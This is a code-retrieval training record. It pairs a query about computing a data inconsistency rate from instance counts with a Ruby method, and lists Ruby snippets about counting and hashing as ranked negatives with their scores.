query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
redefines the constructor for StudentPerson to utilize three params
def initialize(name, gender, program_name) @program_name = program_name # calls the constructor of the Person class super(name, gender) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize(lastName, firstName, studentID)\n @lastName = lastName\n @firstName = firstName\n @studentID = studentID\n end", "def initialize(person_id, name, last_name, title, salary)\n super(person_id, name, last_name)\n @title = title\n @salary = salary\n end", "def initialize(person_id, name, last_name)\n @person_id = person_id\n @name = name\n @last_name = last_name\n end", "def initialize(first_name, last_name)\n @first_name = first_name\n @last_name = last_name\nend", "def initialize(first_name, last_name, age)\r\n @first_name, @last_name, @age = first_name, last_name, age\r\n end", "def initialize(first_name:, last_name:)\n self.first_name = first_name\n self.last_name = last_name\n end", "def initialize(first_name,last_name,age)\n @first_name = first_name\n @last_name = last_name\n @age = age\n end", "def initialize(fname, lname,age)\n @first_name=fname\n @last_name=lname\n @age=age\n end", "def initialize(title, first_name, middle_name, last_name)\n\t\t@title = title\n\t\t@first_name = first_name\n\t\t@middle_name = middle_name\n\t\t@last_name = last_name\n\tend", "def initialize(first_name, last_name, grades)\n @first_name = :first_name\n @last_name = :last_name\n @grades = :grades\n end", "def initialize(age, gender, name)\t\t\t\t# WE CAN USE A CONSTRUCTOR! Whenever we create a Person.new, we will do something every time! Putting in parameters here :)\n\t\t@age = age\n\t\t@gender = gender\n\t\t@name = name \n\tend", "def initialize(full_name, age, address, work)\n\tend", "def initialize(fname, lname)\n @first_name = fname\n @last_name = lname\n end", "def initialize(full_name, age, address, work)\r\n @full_name = full_name\r\n @age = age\r\n @address = address\r\n @work = work\r\n end", "def initialize(student_id,semister_id)\n @student_id=student_id\n @semister_id=semister_id\n end", "def initialize(name, age, gender) # Set our instance variables when we create each person.\n @name = name\n @age = age\n @gender = gender\n end", "def initialize(first_name, last_name, contact)\n\t\tsuper(first_name, last_name)\n\t\t@contact = contact\n\tend", "def initialize(first_name, last_name, title, contact)\n\t\tsuper(first_name, last_name)\n\t\t@title = title\n\t\t@contact = contact\n\tend", "def initialize(firstname, lastname)\n\t\t@firstname = firstname\n\t\t@lastname = lastname\n\tend", "def initialize(first_name, last_name)\n @first_name = first_name\n @last_name = last_name\n end", "def initialize(student)\n @number_grade = set_number_grade(student)\n @letter_grade = set_letter_grade\n end", "def initialize(person)\n @first_name = person[:first_name] # instance variable\n @last_name = person[:last_name]\n @age = person[:age]\n @credit_card = person[:credit_card]\n end", "def initialize (person,birthdate)\n # variables de instancia\n @person = person\n @birthdate = birthdate\n end", "def initialize(first_name, last_name)\n\t\t@first_name = first_name\n\t\t@last_name = last_name\n\tend", "def initialize(first_name, last_name, year_of_birth) # => states\n @first_name = first_name # => instence variable\n @last_name = last_name # => instence variable\n @year_of_birth = year_of_birth # => instence variable\n @job_title = 'Baby'\n end", "def initialize(params={})\n @full_name = params[:full_name]\n @course_name = params[:course_name]\n @grade_level = params[:grade_level]\n end", "def initialize(name, age:, occupation:, hobby: nil, birthplace: \"Sleepy Creek\")\n self.name = name\n self.age = age\n self.occupation = occupation\n self.hobby = hobby\n self.birthplace = birthplace\n end", "def initialize (first_name = \"\", last_name = \"\")\n\n @first_name = first_name\n @last_name = last_name\n end", "def initialize(first_name, last_name, year_of_birth) # => states\n @first_name = first_name # => instences variable\n @last_name = last_name # => instences variable\n @year_of_birth = year_of_birth # => instences variable\n @job_title = 'Baby'\n end", "def initialize(attributes={}) #can set instance variables when creating the instance\n @name = attributes[:name]\n @major = attributes[:major]\n @course = attributes[:course]\n @grade = attributes[:grade]\n end", "def initialize(attributes=[]) #this gives a default value if no array is passed\n @last_name = attributes[0]\n @first_name = attributes[1]\n @npi = attributes[2]\n @practice_name = attributes[3]\n @address_line_1 = attributes[4]\n @address_line_2 = attributes[5]\n @city = attributes[6]\n @state = attributes[7]\n @zip = attributes[8]\n @speciality = attributes[9]\n end", "def initialize( first_name, last_name = \"Marx\", vice = \"Being terrific\", best_performance = \"Duck soup\")\n @first_name = first_name\n @last_name = last_name\n @vice = vice\n @best_performance = best_performance\n end", "def initialize(n, a, g) # initialize gets called when we use .new\n @name = n\n @age = a\n @gender = g\n end", "def initialize(name:, age:, credit_score:)\n @name, @age, @credit_score = name, age, credit_score\n end", "def initialize(first_name, last_name, salary, input_active_status)\n @first_name = first_name\n @last_name = last_name\n @salary = salary\n @input_active_status = input_active_status\n end", "def initialize(fname, lname)\n @first_name = fname\n @last_name = lname\n end", "def initialize(x,y)#should take 2 parameters for first_name and last_name\n #assign those parameters to instance variables\n #add the created instance (self) to people class variable\n self.first_name = x\n \tself.last_name = y\n \t@@people += [\"#{self.first_name} #{self.last_name}\"]\n end", "def initialize(f, l, a)\n @fname = f\n @lname = l\n @age = a\n end", "def initialize(first_name)\n @first_name = first_name\n end", "def initialize(params = {})\n \n unless params.empty?\n @name = params[:name] if params.has_key?(:name)\n @surname = params[:surname] if params.has_key?(:surname)\n @phone = params[:phone] if params.has_key?(:phone)\n end\n\n end", "def initialize (last_name = nil, first_name = nil, phone_number = nil, street_address = nil, city = nil, us_state = nil, zip_code = nil)\n @last_name = last_name\n @first_name = first_name\n @phone_number = phone_number\n @street_address = street_address\n @city = city\n @us_state = us_state\n @zip_code = zip_code\n end", "def initialize(attributes = {})\n self.class.set_attrb_accessors\n\n #cheeto = Student.new(name: \"cheeto\", grade: 6)\n attributes.each do |property, value|\n #interpolation converts symbol to string\n self.send(\"#{property}=\", value)\n end\n end", "def initialize(first, last, age)\n @first = first\n @last = last\n @age = age\n end", "def initialize(name, age:, occupation: , hobby: nil, birthplace: \"Sleepy Creek\")\n\t\t# use the parameter to set the object attributes\n\t\tself.name = name\n\t\tself.age = age\n\t\tself.occupation = occupation\n\t\tself.hobby = hobby\n\t\tself.birthplace\t = birthplace\n\tend", "def initialize(name, major, year)\n \n @stud_name = name #instance variable for name\n @stud_major = major #instance variable for major\n @stud_year = year #instance variable for year\n end", "def initialize(name, age, hometown) #attributes are determined here\n @name = name\n @age = age\n @hometown = hometown\n end", "def initialize(student_name, cohort)\n @student_name = student_name\n @cohort = cohort\n end", "def initialize(name, sex, age, height, weight)\n self.name = name\n self.sex = sex\n self.age = age\n self.height = height\n self.weight = weight\n end", "def initialize(first_name, surname, relationship = nil, dob = \"22/06/2016\")\n @relationship = relationship\n super first_name, surname, dob\n end", "def initialize(f_name, l_name)\n @first_name = f_name\n @last_name = l_name\n end", "def initialize( s0 = 0, s1 = 0, s2 = 0, s3 = 0 )\n super()\n self[:s0] = s0\n self[:s1] = s1\n self[:s2] = s2\n self[:s3] = s3\n end", "def initialize( s0 = 0, s1 = 0, s2 = 0, s3 = 0 )\n super()\n self[:s0] = s0\n self[:s1] = s1\n self[:s2] = s2\n self[:s3] = s3\n end", "def initialize( s0 = 0, s1 = 0, s2 = 0, s3 = 0 )\n super()\n self[:s0] = s0\n self[:s1] = s1\n self[:s2] = s2\n self[:s3] = s3\n end", "def initialize( s0 = 0, s1 = 0, s2 = 0, s3 = 0 )\n super()\n self[:s0] = s0\n self[:s1] = s1\n self[:s2] = s2\n self[:s3] = s3\n end", "def initialize( s0 = 0, s1 = 0, s2 = 0, s3 = 0 )\n super()\n self[:s0] = s0\n self[:s1] = s1\n self[:s2] = s2\n self[:s3] = s3\n end", "def initialize( s0 = 0, s1 = 0, s2 = 0, s3 = 0 )\n super()\n self[:s0] = s0\n self[:s1] = s1\n self[:s2] = s2\n self[:s3] = s3\n end", "def initialize( s0 = 0, s1 = 0, s2 = 0, s3 = 0 )\n super()\n self[:s0] = s0\n self[:s1] = s1\n self[:s2] = s2\n self[:s3] = s3\n end", "def initialize( s0 = 0, s1 = 0, s2 = 0, s3 = 0 )\n super()\n self[:s0] = s0\n self[:s1] = s1\n self[:s2] = s2\n self[:s3] = s3\n end", "def initialize(name, age, gender)\n @name=name\n @age = age\n @gender = gender\n end", "def initialize(first_name, last_name, username, email)\n @first_name = first_name\n @last_name = last_name\n @email = email\n @username = username\n end", "def initialize(attributes={})\n @extras = {}\n @first_name = attributes[:first_name]\n @middle_name = attributes[:middle_name]\n @last_name = attributes[:last_name]\n @email = attributes[:email]\n @title = attributes[:title]\n end", "def initialize(p1,p2,p3)\r\n \r\n @p1 = p1\r\n @p2 = p2\r\n @p3 = p3\r\n \r\n end", "def initialize(params)\n require_keys([:firstName, :lastName, :email, :password], params)\n merge!(params)\n end", "def initialize(name, age)\n @name = name \n @age = age\n end", "def initialize (firstname, lastname, username, email, password)\n \n @first_name = firstname\n @last_name = lastname\n @email = email\n @username = username\n @password = password\n\n end", "def initialize(name, age, gender)\n @name = name\n @age = age\n @gender = gender\n end", "def initialize(name, age, gender)\n @name = name\n @age = age\n @gender = gender\n end", "def initialize(name, age, gender)\n @name = name\n @age = age\n @gender = gender\n end", "def initialize(name,email,phone,second_phone)\n @name = name\n @email = email\n @phone = phone\n @second_phone = second_phone\n end", "def initialize(n, d, g, gpa, m)\n\t\t@name = n\n\t\t@dob = d\n\t\t@gender = g\n\t\t@gpa = gpa\n\t\t@major = m\n\tend", "def initialize(name, age: , occupation:, hobby: nil, birthplace: \"Sleepy Creek\")\n\t\tself.name = name\n\t\tself.age = age\n\t\tself.occupation = occupation\n\t\tself.hobby = hobby\n\t\tself.birthplace = birthplace\n\tend", "def initialize (name, age, job ='unemployed') # takes 3 parameters, job is optional.\n @name = name\n @age = age\n @job =job\n end", "def initialize(name, age)\n self.name = name\n self.age = age\n end", "def initialize(first_name, last_name, phone, last_n_digits)\n raise Error, \"first_name or last_name or phone has not been specified\" if first_name.blank? || last_name.blank? || phone.blank?\n\n @first_name = first_name.downcase.gsub(/[\\W]/, '')\n @last_name = last_name.downcase.gsub(/[\\W]/, '')\n @phone_digits = phone.gsub(/[\\D]/, '')[-last_n_digits..-1]\n end", "def initialize(p1, p2, p3)\n @p1 = p1\n @p2 = p2\n @p3 = p3\n end", "def initialize(name,gender,city)\n\t\t@name=name\n\t\t@gender=gender\n\t\t@city=city\n\tend", "def initialize(fn=nil , ln=nil , dob=nil , add=nil , r=nil)\n self.first_name = fn\n self.last_name = ln\n self.date_of_birth = dob\n self.address = add\n self.role = role\n end", "def initialize (name, age)\r\n # \"@\" is the \"instance value\".\r\n @name = name\r\n @age = age\r\n @@num_of_students += 1\r\n end", "def initialize(firstname, lastname, username, email, password)\n @first_name = firstname\n @last_name = lastname\n @username = username\n @email = email\n @password = password\n end", "def initialize(title, author)\n @title = title\n @author = author\nend", "def initialize(name=\"anyone\",salary=0.0)\n #call the super class initialize method passing only the name\n super(name)\n #set the salary since its specific to this class only\n self.salary = salary\n end", "def initialize(name, age, location, pin)\n @name = name\n @age = age\n @location = location\n @pin = pin\n end", "def initialize(first_name, last_name, options = {}) # {} hash allows to extend further variables, or return nil if variables lacking\n\t\t@first_name = first_name\n\t\t@last_name = last_name\n\t\t@email = options[:email]\n\t\t@notes = options[:notes]\n\n\t\t@id = @@id\n\t\t@@id += 1\n\tend", "def initialize(school, name)\n @school = school\n @name = name\n end", "def initialize(given_name, given_age=27)\n self.name = given_name\n self.age = given_age\n end", "def initialize(params)\n @first_name = params[:user][:first_name]\n @last_name = params[:user][:last_name]\n @company_name = params[:user][:company][:company_name]\n @email = params[:user][:email]\n @password = params[:user][:password]\n end", "def initialize(first_name, last_name, email, notes)\n@first_name = first_name\n@last_name = last_name\n@email = email\n@notes = notes\n\tend", "def initialize(name, age)\n @name = name\n @age = age\n end", "def initialize(name, age)\n @name = name\n @age = age\n end", "def initialize(firstname, lastname, username, email, password)\n @first_name = firstname\n @last_name = lastname\n @username = username\n @email = email\n @password = password\n end", "def initialize(params)\n\t\t\t@params=params\n\t\t\t@facility_code = params[:facility_code]\n\t \t@member_id=params[:member_id]\n\t\t\t@table_number=params[:table_number]\n\t\t\t@steward=params[:steward]\n\t\t\t@waitor=params[:waitor]\n\t\tend", "def initialize(name, fur_color, age) #doesn't have to be that but if you want those to be dynamic it does, if you didn't list one here and made a variable hard coded it would always be that value\n @name = name\n @fur_color = fur_color\n @age = age\n end", "def initialize(params)\n self.cc = params[:cc]\n self.month = params[:month]\n self.year = params[:year]\n self.fname = params[:fname]\n self.lname = params[:lname]\n self.cvv params[:cvv]\n end", "def initialize( param, param2 , param3 = 'default value'); # can pass in an object\n @param = param\n @param2 = param2\n @param3 = param3 # has default value of nothing input\n end", "def initialize(first_name, last_name, options = {}) ### on new (notes are optional due to nil)\n\t\t@id = @@id\n\t\t@first_name = first_name## can not be ignored\n\t\t@last_name = last_name\n\t\t@email = options[:email]\n\t\t@notes = options[:notes]\n\t\t\n\t\t@@id += 1\n\n\tend", "def initialize(params={})\n @id=params[:_id].nil? ? params[:id] : params[:_id].to_s\n @number=params[:number].to_i\n @first_name=params[:first_name]\n @last_name=params[:last_name]\n @gender=params[:gender]\n @group=params[:group]\n @secs=params[:secs].to_i\n end", "def initialize(fname, lname, dob_str)\n @first_name = fname\n @last_name = lname\n\n @years_to_live = 79 - age\n end", "def initialize(params)\n\t\t@income = params[:income]\n\t\t@zipcode = params[:zipcode]\n\t\t@age = params[:age] \n\t\traise TypeError unless @income.is_a?(Numeric)\n\t\traise TypeError unless @:zipcode.is_a?(Numeric)\n\t\traise TypeError unless @:age.is_a?(Numeric)\n\t\t@base_url = params.fetch(:base_url, 'http://internal.leapfrogonline.com/customer_scoring')\n\tend", "def initialize(name, age)\n #two instance variables inside method of class\n @name = name\n @age = age\n end", "def initialize(name:, breed:, age:)\r\n @name = name\r\n @breed = breed\r\n @age = age\r\n end" ]
[ "0.74819213", "0.7185471", "0.70207286", "0.70171386", "0.6992464", "0.6976348", "0.69342417", "0.6877494", "0.6875248", "0.68540645", "0.6852564", "0.6837207", "0.683523", "0.68276787", "0.68155974", "0.67976844", "0.67903143", "0.67873627", "0.6778133", "0.6767711", "0.6763427", "0.6759047", "0.67352146", "0.67332286", "0.6724393", "0.6712831", "0.6695686", "0.66930914", "0.6684292", "0.6641314", "0.6640364", "0.6638928", "0.6615104", "0.6611539", "0.66056824", "0.6598213", "0.65895814", "0.658288", "0.6563227", "0.65602255", "0.65598", "0.65578246", "0.65535676", "0.65514505", "0.65333545", "0.6529873", "0.6527334", "0.6516056", "0.6515214", "0.6510938", "0.64547086", "0.64547086", "0.64547086", "0.64547086", "0.64547086", "0.64547086", "0.6454287", "0.6454287", "0.6450641", "0.64500046", "0.64498943", "0.64348763", "0.6429093", "0.6407868", "0.6391734", "0.6388564", "0.6388564", "0.6388564", "0.6386132", "0.6385447", "0.6373404", "0.6364785", "0.63581145", "0.6353333", "0.6336759", "0.6336644", "0.63363016", "0.63333726", "0.63278204", "0.6298972", "0.6294344", "0.62942433", "0.62917715", "0.62882525", "0.62814635", "0.6278407", "0.62771684", "0.62728226", "0.62728226", "0.62621385", "0.62606674", "0.6259987", "0.62597203", "0.6254469", "0.6238269", "0.6238151", "0.62363356", "0.62261915", "0.6224287", "0.6214831" ]
0.6720244
25
get_instance_count get data inconsistency rate based on the instance count in Hash table
def get_IR_by_count(inst_cnt) incon, sample_size = 0.0, 0.0 inst_cnt.values.each do |hcnt| cnt = hcnt.values incon += cnt.sum-cnt.max sample_size += cnt.sum end # inconsistency rate (sample_size.zero?) ? 0.0 : incon/sample_size end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def db_instance_count\n data.db_instance_count\n end", "def get_count\n capture(\"cf curl /v2/apps/#{$app_uuid} | jq .entity.instances\").to_i\nend", "def count_used_instances\n count = 0\n return count\n end", "def chi2_get_inconsistency_rate(inst_cnt, f2bs)\n # build a new instance count Hash table\n inst_cnt_new = {}\n \n inst_cnt.each do |key, hcnt|\n key_new = key.dup\n f2bs.keys.each do |f|\n if key_new =~ /#{f}:(.*?)\\|/\n v = $1.to_f\n key_new.gsub!(/#{f}:.*?\\|/, \"#{f}:#{get_index(v, f2bs[f])}|\")\n end\n end\n \n hcnt_new = inst_cnt_new[key_new] ||= Hash.new(0)\n inst_cnt_new[key_new] = hcnt_new.merge(hcnt) { |kk, v1, v2| v1+v2 }\n end\n \n get_IR_by_count(inst_cnt_new)\n end", "def count\n load\n @result_count\n end", "def counter\n Weed::Stats.by_total({ :bucket_id => id })\n end", "def gemd_count_for(klass)\n Recommendable.redis.scard(Recommendable::Helpers::RedisKeyMapper.gemd_set_for(klass, id))\n end", "def instance_count\n @group.instances.length\n end", "def health\n health = AWS.memoize do\n load_balancer.instances.health.inject({}) do |h,i|\n instance = i[:instance]\n h[instance.id] = i\n h\n end\n end rescue nil\n end", "def count(&block)\n @instances = {cache_count: 0, ignored_count: 0, sql_count: 0, instance_count: 0}\n ActiveSupport::Notifications.subscribed(callback_proc, /active_record/, &block)\n @instances\n end", "def hashrate\n 7158278.826666666 * shares.fresh.count\n end", "def counts\r\n @counts\r\n end", "def dynamic_scaling_instance_count(test_value=nil)\n # return current instance count unless we're dynamic\n # >>///====/WHOOOSH/===//DYNAMISM!//>\n #\n return self.instances unless self.scaling.get(:mode) == 'dynamic'\n\n begin\n check_type = self.scaling.get('config.type')\n raise LoadError.new if check_type.nil?\n require \"harbormaster/lib/autoscaling/#{check_type}\"\n klass = (Harbormaster::Autoscaling.const_get(check_type.camelize) rescue nil)\n raise LoadError.new unless klass\n\n rv = klass.instance_count(self, test_value)\n self.last_checked_at = Time.now\n\n return (rv.nil? ? self.instances : rv)\n\n rescue LoadError\n Onering::Logger.error(\"Unable to find dynamic scaling check for type #{check_type}\")\n return self.instances\n end\n end", "def count\n @obj['count'].to_i\n end", "def count\n @data['count']\n end", "def num_buckets\n self.store.length\n end", "def count\n @count\n end", "def doGetMaxCountPerRequest()\n end", "def count\n if @count\n @count - @deleted_entries.cardinality\n else\n determine_count\n end\n end", "def approx_count\n return count unless connection.respond_to?(:approx_count)\n a_count = connection.approx_count(self.table_name)\n return a_count unless a_count\n if a_count < 20000\n\tcount\n else\n\ta_count\n end\n end", "def key_example_count\n key(\"example_count\")\n end", "def num_buckets\n @store.length\n end", "def test_count\n Vault::Log.count('countable')\n assert_equal '1', logged_data['count#test-app.countable']\n assert_equal 'test-deploy', logged_data['source']\n end", "def count; end", "def count; end", "def count; end", "def task_count_instances\n #ex_count = find_exception_count\n if self.occurrence_type.eql?(\"count\")\n count = self.count.to_i\n return count\n elsif self.occurrence_type.eql?(\"until\")\n if self.start_date and self.until\n case(self.repeat)\n when \"DAI\" then daily_count\n when \"WEE\" then weekly_count\n when \"MON\" then monthly_count\n when \"YEA\" then yearly_count\n end\n end\n else\n 1 \n end\n end", "def count\n # implement in subclasses\n end", "def cardinality\n redis.hget(bucket_key, RedisBackend::COUNT_FIELD).to_i\n end", "def count\n @count\n end", "def count\n @count\n end", "def count\n @count\n end", "def count\n self[:count].to_i\n end", "def hit_count()\n #This is a stub, used for indexing\n end", "def count\n\t\tputs \"Counting number of entries in the CIDR cache table ...\" if @verbose\n\t\tcnt=0\n\t\t@known_cidr_blks.keys.map do |key|\n\t\t\tif is_cidr?(key)\n\t\t\t\tcnt=cnt+1\n\t\t\tend\n\t\tend\n\t\tputs \"Current number of CIDR object entries: #{cnt}\" if @verbose\n\t\treturn cnt\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\" if @verbose\n\tend", "def count\n @count\n end", "def count\n @count\n end", "def count\n @count\n end", "def count ; @count ||= table.count end", "def count\n end", "def count\n end", "def stats\n\t\t@counts\n\tend", "def load_factor\n count = 0.0\n\n @items.each do |bucket|\n if !bucket.nil?\n count += bucket.size\n end\n end\n\n count / self.size\n end", "def update_associated_count\n self.update_tier_kases_count\n self.update_topics_kases_count\n self.update_person_kases_count\n end", "def count\n @count ||= get_count\n end", "def calculate_count _changed_card=nil\n result = {}\n item_cards(default_query: true).each do |metric_id|\n result[metric_id] = true unless result.key?(metric_id)\n end\n result.to_json\nend", "def table_size_for(entry_count); end", "def count\n self.class.count(self)\n end", "def count\n lib.tcidbrnum( @db )\n end", "def update!(**args)\n @acked_instance_count = args[:acked_instance_count] if args.key?(:acked_instance_count)\n @applying_patches_instance_count = args[:applying_patches_instance_count] if args.key?(:applying_patches_instance_count)\n @downloading_patches_instance_count = args[:downloading_patches_instance_count] if args.key?(:downloading_patches_instance_count)\n @failed_instance_count = args[:failed_instance_count] if args.key?(:failed_instance_count)\n @inactive_instance_count = args[:inactive_instance_count] if args.key?(:inactive_instance_count)\n @no_agent_detected_instance_count = args[:no_agent_detected_instance_count] if args.key?(:no_agent_detected_instance_count)\n @notified_instance_count = args[:notified_instance_count] if args.key?(:notified_instance_count)\n @pending_instance_count = args[:pending_instance_count] if args.key?(:pending_instance_count)\n @post_patch_step_instance_count = args[:post_patch_step_instance_count] if args.key?(:post_patch_step_instance_count)\n @pre_patch_step_instance_count = args[:pre_patch_step_instance_count] if args.key?(:pre_patch_step_instance_count)\n @rebooting_instance_count = args[:rebooting_instance_count] if args.key?(:rebooting_instance_count)\n @started_instance_count = args[:started_instance_count] if args.key?(:started_instance_count)\n @succeeded_instance_count = args[:succeeded_instance_count] if args.key?(:succeeded_instance_count)\n @succeeded_reboot_required_instance_count = args[:succeeded_reboot_required_instance_count] if args.key?(:succeeded_reboot_required_instance_count)\n @timed_out_instance_count = args[:timed_out_instance_count] if args.key?(:timed_out_instance_count)\n end", "def count\n @history.objects.find { |o| o.name == \"count\" }.val\n end", "def request_count; end", "def throughput\n return {}\n end", "def current_count(key)\n @redis.hget(key, RATE_COUNT).to_i\n end", "def count\n dataset.count\n end", "def t_counts (conn, log, t)\n log.d(\"Checking counts.\");\n q = \"SELECT COUNT(*) AS c FROM #{t}\";\n log.d(q);\n conn.query(q) do |r|\n log.d(r[:c]);\n end\nend", "def count\n dps.count\nend", "def occurences_count\n\t\t\t\t\t\tHash.new(0).tap do |result|\n\t\t\t\t\t\t each { |item| result[item] += 1 }\n\t\t\t\t\t\tend\n\t\t\t\tend", "def shard_count\n @obj['shard_count']\n end", "def load_per_cpu(_)\n cpu_per_source = {}\n @client.query(\n '(count(node_cpu{mode=\"system\"})by(instance))'\n ).each do |result|\n source = result['metric']['instance']\n cpu_per_source[source] = result['value'][1]\n end\n\n metrics = []\n @client.query('node_load5').each do |result|\n source = result['metric']['instance']\n value = result['value'][1].to_f.round(2)\n load_on_cpu = value / cpu_per_source[source].to_f\n log.debug(\n \"[load_per_cpu] value: '#{load_on_cpu}', source: '#{source}'\"\n )\n metrics << {\n 'source' => source,\n 'value' => load_on_cpu\n }\n end\n metrics\n end", "def check_consistency count\n raise \"Not implemented\"\n end", "def get_size\n @buckets.length\n end", "def total_ar_instances\n active_record_instances_count - @start_ar_instances\n end", "def getcount\n\t\tRails.logger.info 'Called VotesController#getcount'\n\t\tupcount = VoteStore.get_up_count(params[:id])\n\t\tdowncount = VoteStore.get_down_count(params[:id])\n\t\tRails.logger.info \"Up: #{upcount}\"\n\t\tRails.logger.info \"Down: #{downcount}\"\n\t\trender json: {count: (upcount-downcount)}\n\tend", "def disgemd_count_for(klass)\n Recommendable.redis.scard(Recommendable::Helpers::RedisKeyMapper.disgemd_set_for(klass, id))\n end", "def liked_count_for(klass)\n Recommendable.redis.scard(Recommendable::Helpers::RedisKeyMapper.liked_set_for(klass, id))\n end", "def count\n @data.size\n end", "def batch_average_bp_count\n active_user.average_bps.count(:sysbp)\n end", "def instance_count\n repository.files(:pattern => /.rb/).map do |file|\n content = repository.read(file)\n count_calls(:def,content)\n end.sum\n end", "def count; @value.size; end", "def ab_counts(_experiment, _alternative)\n raise \"Not implemented\"\n end", "def load_factor\n @entry_count / @size\n end", "def active_instances; end", "def hcount\n @hcount += 1\n end", "def hcount\n @hcount += 1\n end", "def load_factor\n # This calculates the load factor of the hash.\n # We take the size then add a decimal behind the last number.\n size = size() + 0.0\n # We divide entries by size\n lf = @entries / size\n # Return load factor\n return lf\n end", "def stock_count(count)\n return count[:pets].count\nend", "def count\n @count ||= 0\n @count += 1\n end", "def record_count\n\t\t# TODO\n\tend", "def count\n count = 0\n each do |data|\n count += 1\n end\n count\n end", "def liked_count_for(klass)\n Recommendations.redis.scard(Recommendations::Helpers::RedisKeyMapper.liked_set_for(klass, id))\n end", "def size\n @buckets.length\n end", "def count\n @options[:select] = \"COUNT\"\n @options.delete(:attributes_to_get)\n\n response = run\n\n while continue?(response)\n @options[:exclusive_start_key] = response.last_evaluated_key\n response = run(response)\n end\n\n response.count\n end", "def count\n call_client(:count)\n end", "def total_instances_count\n @os_aws.total_instances_count\n end", "def makeStandardInstanceHash(array_of_detailed_instances, stripped_state_int)\n\tinstanceHash = Hash.new\n\tfor entry in array_of_detailed_instances\n\t\tinst = entry[\"name\"]\n\t\trun = entry[\"run\"]\n\t\tinstanceHash[inst] = {\"runs\"=>0, \"rest\"=>entry[\"rest\"], \"result\"=>[]} unless instanceHash.key?(inst)\n\t\tinstanceHash[inst][\"runs\"] += 1\n\t\tcensortimes = entry[\"resultForState\"][stripped_state_int].keys\n#\t\tp censortimes\n#\t\tp censortimes.max\n\t\tinstanceHash[inst][\"result\"] << entry[\"resultForState\"][stripped_state_int][censortimes.max]\n\tend\n\treturn instanceHash\nend", "def valid_metric(length)\n name = \"statsd-cluster.count\"\n number = rand(100).to_s\n name_length = name.length + number.length\n if name_length < length\n name += (\"X\" * (length - name_length) + number)\n end\n a = hashring(name)\n # to simplify metric identification counter value grows from 0 to 1000, after that is reset back to 0 and so on\n @counter = (@counter + 1) % 1000\n # only counters are generated\n data = name + \":#{@counter}|c\"\n # we return data necessary to register metric in message queue and expected events\n {\n hashring: a,\n data: data,\n event: {source: \"statsd\", text: data}\n }\n end", "def get_ic_count (access, item_type)\n q = \"SELECT H_id, H_count FROM holdings_H_counts WHERE member_id = ? AND access = ? AND item_type = ?\";\n pq = @@conn.prepare(q);\n h_counts = {1 => 0};\n pq.enumerate(@member_id, access, item_type) do |row|\n h_counts[row[:H_id].to_i] = row[:H_count].to_i;\n end\n\n return h_counts;\n end", "def get_ic_count (access, item_type)\n q = \"SELECT H_id, H_count FROM holdings_H_counts WHERE member_id = ? AND access = ? AND item_type = ?\";\n pq = @@conn.prepare(q);\n h_counts = {1 => 0};\n pq.enumerate(@member_id, access, item_type) do |row|\n h_counts[row[:H_id].to_i] = row[:H_count].to_i;\n end\n\n return h_counts;\n end", "def processor_count; end", "def processor_count; end", "def e_counts\n Rails.cache.fetch(\"#{cache_key}/e_counts\", expires_in: 12.hours) do\n User.all.count\n end\n end", "def db_instance_status\n data[:db_instance_status]\n end", "def create_metrics_for_snapshot(snapshot)\n\n @eth0_rx_counter ||= 0\n @eth0_tx_counter ||= 0\n @uptime_counter ||= 0\n \n # Build a random value for the network counters.\n @eth0_rx_counter += rand(100000)\n @eth0_tx_counter += rand(200000)\n\n # Increase the uptime counter by one minute.\n @uptime_counter += 1.minute\n\n # Create the load.average metric.\n Sherlock::Models::Metric.create!(\n :node_id => snapshot.node_id,\n :timestamp => snapshot.timestamp,\n :path => 'load.average',\n :counter => rand()\n )\n\n # Create the memory metrics.\n Sherlock::Models::Metric.create!(\n :node_id => snapshot.node_id,\n :timestamp => snapshot.timestamp,\n :path => 'memory.physical.used',\n :counter => rand(100000) + 1000\n )\n Sherlock::Models::Metric.create!(\n :node_id => snapshot.node_id,\n :timestamp => snapshot.timestamp,\n :path => 'memory.swap.used',\n :counter => rand(1000) + 1000\n )\n \n # Create a uptime metric.\n Sherlock::Models::Metric.create!(\n :node_id => snapshot.node_id,\n :timestamp => snapshot.timestamp,\n :path => 'uptime',\n :counter => @uptime_counter\n )\n\n # Create the process count metric.\n Sherlock::Models::Metric.create!(\n :node_id => snapshot.node_id,\n :timestamp => snapshot.timestamp,\n :path => 'processes.count',\n :counter => rand(100) + 10\n )\n\n # Create the eth0 network metrics.\n Sherlock::Models::Metric.create!(\n :node_id => snapshot.node_id,\n :timestamp => snapshot.timestamp,\n :path => 'network_interfaces.eth0.bytes.rx',\n :counter => @eth0_rx_counter\n )\n Sherlock::Models::Metric.create!(\n :node_id => snapshot.node_id,\n :timestamp => snapshot.timestamp,\n :path => 'network_interfaces.eth0.bytes.tx',\n :counter => @eth0_tx_counter\n )\n\nend", "def availability_summary #This should be changed to availability_summary_count\n unavailable = 0\n available = 0\n awaiting = 0\n\n self.cached_teamsheet_entries.each do |tse|\n if tse.response_status == 0\n unavailable += 1\n elsif tse.response_status == 1\n available += 1\n elsif tse.response_status == 2\n awaiting += 1\n end\n end\n\n { unavailable: unavailable, available: available, awaiting: awaiting }\n end", "def records_total_count\n Rails.cache.fetch('raw_count') { get_raw_records.count(:all) }\n end", "def count(range)\n conn.zcount key, *range_pair(range)\n end", "def block_count; @data[17].to_i; end", "def getPrimaryDistribution(tableName)\n c = HBaseConfiguration.new()\n tableNameObj = TableName.valueOf(tableName)\n t = HTable.new(c, tableNameObj)\n regions = t.getRegionsInRange(t.getStartKeys[0],\n t.getEndKeys[t.getEndKeys.size-1])\n\n count = Hash.new(0)\n regions.each do |r|\n #puts r.getRegionInfo().getRegionNameAsString()+\" id \"+r.getRegionInfo().getReplicaId().to_s()+\" enc name \"+r.getRegionInfo().getEncodedName()+\" server name \"+r.getServerName().getHostname()\n z = count[r.getServerName().getHostname()]\n count[r.getServerName().getHostname()]=z+1\n end\n count.each do |r,c|\n puts r.to_s()+\" \"+c.to_s()\n end\nend", "def db_instance_arn\n data[:db_instance_arn]\n end" ]
